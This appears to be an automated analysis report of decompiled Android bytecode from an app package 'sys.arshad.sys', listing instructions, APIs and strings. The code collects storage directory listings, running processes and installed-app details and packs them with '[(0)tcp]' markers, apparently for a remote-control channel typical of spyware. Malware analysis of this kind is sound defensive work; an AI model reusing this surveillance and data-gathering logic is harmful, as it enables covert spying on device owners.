73goto_61: new-instance v6, Ljava/lang/StringBuilder;
75invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
77invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Folder
78move-result-object v6
80invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
81move-result-object v6
83invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
84move-result-object v6
85new-instance v7, Ljava/io/File;
87invoke-direct {v7, v6}, Ljava/io/File;-><init>(Ljava/lang/String;)V
89invoke-virtual {v7}, Ljava/io/File;->length()J
90move-result-wide v6
92sget-object v8, Ljava/lang/System;->out:Ljava/io/PrintStream;
93new-instance v9, Ljava/lang/StringBuilder;
95invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
97invoke-virtual {v9, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
98move-result-object v9
100invoke-virtual {v9, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
101move-result-object v9
103invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Folder
104move-result-object v9
106const-string v10, "+++++++"
108invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: +++++++
109move-result-object v9
111invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
112move-result-object v9
114invoke-virtual {v8, v9}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
115new-instance v8, Ljava/lang/StringBuilder;
117invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
119invoke-virtual {v8, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
120move-result-object v5
122const-string v8, "[(0)sp]"
124invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
125move-result-object v5
127invoke-virtual {v5, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
128move-result-object v5
130const-string v6, "[(0)sp]"
132invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
133move-result-object v5
135invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Folder
136move-result-object v0
138const-string v5, "[(0)Ln]"
140invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
141move-result-object v0
143invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
144move-result-object v0
146invoke-virtual {v3, v0}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
147add-int/lit8 v0, v1, 0x1
148move v1, v0
149goto/16 :goto_48
150cond_c9: new-instance v0, Ljava/lang/StringBuilder;
152invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
154iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$28;->a:Ljava/lang/String;
156invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
157move-result-object v1
159invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
160move-result-object v0
162const-string v1, "/"
164invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
165move-result-object v0
167invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
168move-result-object v0
169move-object v2, v0
170goto/16 :goto_34
171cond_e5:
172const-string v6, "\\."
174invoke-virtual {v0, v6}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: \\.
175move-result-object v0
176array-length v6, v0
177add-int/lit8 v6, v6, -0x1
178aget-object v0, v0, v6
179goto/16 :goto_61
180cond_f2:
181invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
182move-result-object v0
184invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
185move-result-object v0
186new-instance v1, Ljava/lang/StringBuilder;
188invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
190invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
191move-result-object v2
193invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
194move-result-object v1
196const-string v2, "/"
198invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
199move-result-object v1
201sget-object v2, Landroid/os/Environment;->DIRECTORY_DOWNLOADS:Ljava/lang/String;
203invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
204move-result-object v1
206invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
207move-result-object v1
208new-instance v2, Ljava/lang/StringBuilder;
210invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
212invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
213move-result-object v4
215invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
216move-result-object v2
218const-string v4, "/"
220invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
221move-result-object v2
223sget-object v4, Landroid/os/Environment;->DIRECTORY_DCIM:Ljava/lang/String;
225invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
226move-result-object v2
228invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
229move-result-object v2
230new-instance v4, Ljava/lang/StringBuilder;
232invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
234invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
235move-result-object v5
237invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
238move-result-object v4
240const-string v5, "/"
242invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
243move-result-object v4
245sget-object v5, Landroid/os/Environment;->DIRECTORY_RINGTONES:Ljava/lang/String;
247invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
248move-result-object v4
250invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
251move-result-object v4
252new-instance v5, Ljava/lang/StringBuilder;
254invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
256invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
257move-result-object v6
259invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
260move-result-object v5
262const-string v6, "/"
264invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
265move-result-object v5
267sget-object v6, Landroid/os/Environment;->DIRECTORY_MOVIES:Ljava/lang/String;
269invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
270move-result-object v5
272invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
273move-result-object v5
274new-instance v6, Ljava/lang/StringBuilder;
276invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
278invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
279move-result-object v7
281invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
282move-result-object v6
284const-string v7, "/"
286invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
287move-result-object v6
289sget-object v7, Landroid/os/Environment;->DIRECTORY_PICTURES:Ljava/lang/String;
291invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
292move-result-object v6
294invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
295move-result-object v6
296new-instance v7, Ljava/lang/StringBuilder;
298invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
300invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
301move-result-object v8
303invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
304move-result-object v7
306const-string v8, "/"
308invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
309move-result-object v7
311sget-object v8, Landroid/os/Environment;->DIRECTORY_MUSIC:Ljava/lang/String;
313invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
314move-result-object v7
316invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
317move-result-object v7
318new-instance v8, Ljava/lang/StringBuilder;
320invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
322invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
323move-result-object v9
325invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
326move-result-object v8
328const-string v9, "/"
330invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
331move-result-object v8
333sget-object v9, Landroid/os/Environment;->DIRECTORY_NOTIFICATIONS:Ljava/lang/String;
335invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
336move-result-object v8
338invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
339move-result-object v8
340new-instance v9, Ljava/lang/StringBuilder;
342invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
344invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
345move-result-object v10
347invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
348move-result-object v9
350const-string v10, "/"
352invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
353move-result-object v9
355sget-object v10, Landroid/os/Environment;->DIRECTORY_PODCASTS:Ljava/lang/String;
357invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
358move-result-object v9
360invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
361move-result-object v9
362new-instance v10, Ljava/lang/StringBuilder;
364invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
366invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
367move-result-object v11
369invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
370move-result-object v10
372const-string v11, "/"
374invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
375move-result-object v10
377const-string v11, "removed"
379invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: removed
380move-result-object v10
382invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
383move-result-object v10
385const-string v11, "/sdcard"
387const-string v12, "[(1)sp]"
388new-instance v13, Ljava/lang/StringBuilder;
390invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
392invoke-virtual {v13, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
393move-result-object v13
395invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
396move-result-object v1
398invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
399move-result-object v1
401invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
402move-result-object v1
404invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
405move-result-object v1
407invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
408move-result-object v1
410invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
411move-result-object v1
413invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
414move-result-object v1
416invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
417move-result-object v1
419invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
420move-result-object v1
422invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
423move-result-object v1
425invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
426move-result-object v1
428invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
429move-result-object v1
431invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
432move-result-object v1
434invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
435move-result-object v1
437invoke-virtual {v1, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
438move-result-object v1
440invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
441move-result-object v1
443invoke-virtual {v1, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
444move-result-object v1
446invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
447move-result-object v1
449invoke-virtual {v1, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /sdcard
450move-result-object v1
452invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
453move-result-object v1
455invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
456move-result-object v0
458invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
459move-result-object v0
461sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
463invoke-virtual {v3}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
464move-result-object v2
466invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
468iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$28;->b:Lsys/arshad/sys/MainActivity$b;
470iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
471new-instance v2, Ljava/lang/StringBuilder;
473invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
475const-string v4, "B8:::"
477invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B8:::
478move-result-object v2
480invoke-virtual {v3}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
481move-result-object v3
483invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
484move-result-object v2
486invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
487move-result-object v0
489const-string v2, "[(0)tcp]"
491invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
492move-result-object v0
494iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$28;->b:Lsys/arshad/sys/MainActivity$b;
496iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
498iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
500invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
501move-result-object v0
503invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
504move-result-object v0
506invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
507goto_29f: return-void
508cond_2a0:
509iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$28;->b:Lsys/arshad/sys/MainActivity$b;
511iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
512new-instance v1, Ljava/lang/StringBuilder;
514invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
516const-string v2, "B8:::is not a directory[(0)tcp]"
518invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B8:::is not a directory[(0)tcp]
519move-result-object v1
521iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$28;->b:Lsys/arshad/sys/MainActivity$b;
523iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
525iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
527invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
528move-result-object v1
530invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
531move-result-object v1
533invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
534try_end_2c0: goto/16 :goto_29f
535catch_2c1: move-exception v0
536goto/16 :goto_29f
APIs
  • java.lang.StringBuilder.<init>
  • java.util.regex.Pattern.quote
  • java.lang.StringBuilder.append
  • java.util.regex.Pattern.quote
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.util.regex.Pattern.compile
  • java.util.regex.Pattern.matcher
  • java.lang.StringBuffer.<init>
  • java.util.regex.Matcher.find
  • java.util.regex.Matcher.group
  • java.lang.String.contains
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getPackageManager
  • android.content.pm.PackageManager.getApplicationInfo
  • android.content.pm.PackageManager.getApplicationLabel
  • android.content.pm.PackageManager.getApplicationInfo
  • sys.arshad.sys.MainActivity.getPackageManager
  • android.content.pm.PackageManager.getApplicationInfo
  • java.io.File.<init>
  • java.io.File.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • android.content.pm.PackageManager$NameNotFoundException.printStackTrace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuffer.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.String.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuffer.<init>
  • sys.arshad.sys.MainActivity.getSystemService
  • android.app.ActivityManager.getRunningAppProcesses
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getPackageManager
  • android.content.pm.PackageManager.getApplicationInfo
  • sys.arshad.sys.MainActivity.getPackageManager
  • android.content.pm.PackageManager.getApplicationInfo
  • java.io.File.<init>
  • java.io.File.length
  • android.content.pm.PackageManager.getApplicationInfo
  • android.content.pm.PackageManager.getApplicationLabel
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • java.lang.String.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • toolbox ps -p -P -x -c
  • 00000000 S
  • (.*?)
  • (
  • .
  • no system package
  • system package
  • [(0)sp]
  • [(0)Ln]
  • >
  • <<<<<<<<<<<<<<<<<<<<<
  • B14:::
  • [(0)tcp]
  • activity
Position Instruction Meta Information
0sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
1const/16 v1, 0x15
2if-le v0, v1, :cond_127
3new-instance v0, Lsys/arshad/sys/a;
5invoke-direct {v0}, Lsys/arshad/sys/a;-><init>()V
7const-string v1, "toolbox ps -p -P -x -c"
9invoke-virtual {v0, v1}, Lsys/arshad/sys/a;->a(Ljava/lang/String;)Ljava/lang/String;
10move-result-object v0
11new-instance v1, Ljava/lang/StringBuilder;
13invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
15const-string v2, "00000000 S"
17invoke-static {v2}, Ljava/util/regex/Pattern;->quote(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: 00000000 S
18move-result-object v2
20invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v1
23const-string v2, "(.*?)"
25invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: (.*?)
26move-result-object v1
28const-string v2, "("
30invoke-static {v2}, Ljava/util/regex/Pattern;->quote(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: (
31move-result-object v2
33invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
34move-result-object v1
36invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
37move-result-object v1
39invoke-static {v1}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
40move-result-object v1
42invoke-virtual {v1, v0}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
43move-result-object v2
44new-instance v3, Ljava/lang/StringBuffer;
46invoke-direct {v3}, Ljava/lang/StringBuffer;-><init>()V
47goto_41:
48invoke-virtual {v2}, Ljava/util/regex/Matcher;->find()Z
49move-result v0
50if-eqz v0, :cond_d5
51const/4 v0, 0x1
53invoke-virtual {v2, v0}, Ljava/util/regex/Matcher;->group(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 1
54move-result-object v0
56const-string v1, "."
58invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: .
59move-result v1
60if-eqz v1, :cond_41
61try_start_54:
62invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
63move-result-object v4
65iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
67iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
69invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
70move-result-object v0
72invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
73move-result-object v1
74const/16 v0, 0x80
76invoke-virtual {v1, v4, v0}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
  • Data flow analysis:
    • flags: 128
77move-result-object v0
79invoke-virtual {v1, v0}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
80move-result-object v0
81check-cast v0, Ljava/lang/String;
83const-string v5, ""
84const/4 v5, 0x0
86invoke-virtual {v1, v4, v5}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
  • Data flow analysis:
    • flags: 0
87move-result-object v5
89const-string v1, "no system package"
90iget v5, v5, Landroid/content/pm/ApplicationInfo;->flags:I
91and-int/lit8 v5, v5, 0x1
92if-eqz v5, :cond_81
94const-string v1, "system package"
95cond_81:
96iget-object v5, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
98iget-object v5, v5, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
100invoke-virtual {v5}, Lsys/arshad/sys/MainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
101move-result-object v5
102const/4 v6, -0x1
104invoke-virtual {v5, v4, v6}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
105move-result-object v5
106new-instance v6, Ljava/io/File;
108iget-object v5, v5, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
110invoke-direct {v6, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
112invoke-virtual {v6}, Ljava/io/File;->length()J
113move-result-wide v6
114new-instance v5, Ljava/lang/StringBuilder;
116invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
118invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
119move-result-object v0
121const-string v5, "[(0)sp]"
123invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
124move-result-object v0
126invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
127move-result-object v0
129const-string v4, "[(0)sp]"
131invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
132move-result-object v0
134invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: system package
135move-result-object v0
137const-string v1, "[(0)sp]"
139invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
140move-result-object v0
142invoke-virtual {v0, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
143move-result-object v0
145const-string v1, "[(0)Ln]"
147invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
148move-result-object v0
150invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
151move-result-object v0
153invoke-virtual {v3, v0}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
154try_end_cd: goto/16 :goto_41
155catch_cf: move-exception v0
157invoke-virtual {v0}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V
158goto/16 :goto_41
159cond_d5:
160sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
161new-instance v1, Ljava/lang/StringBuilder;
163invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
165const-string v2, ">"
167invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: >
168move-result-object v1
170invoke-virtual {v3}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
171move-result-object v2
173invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
174move-result-object v1
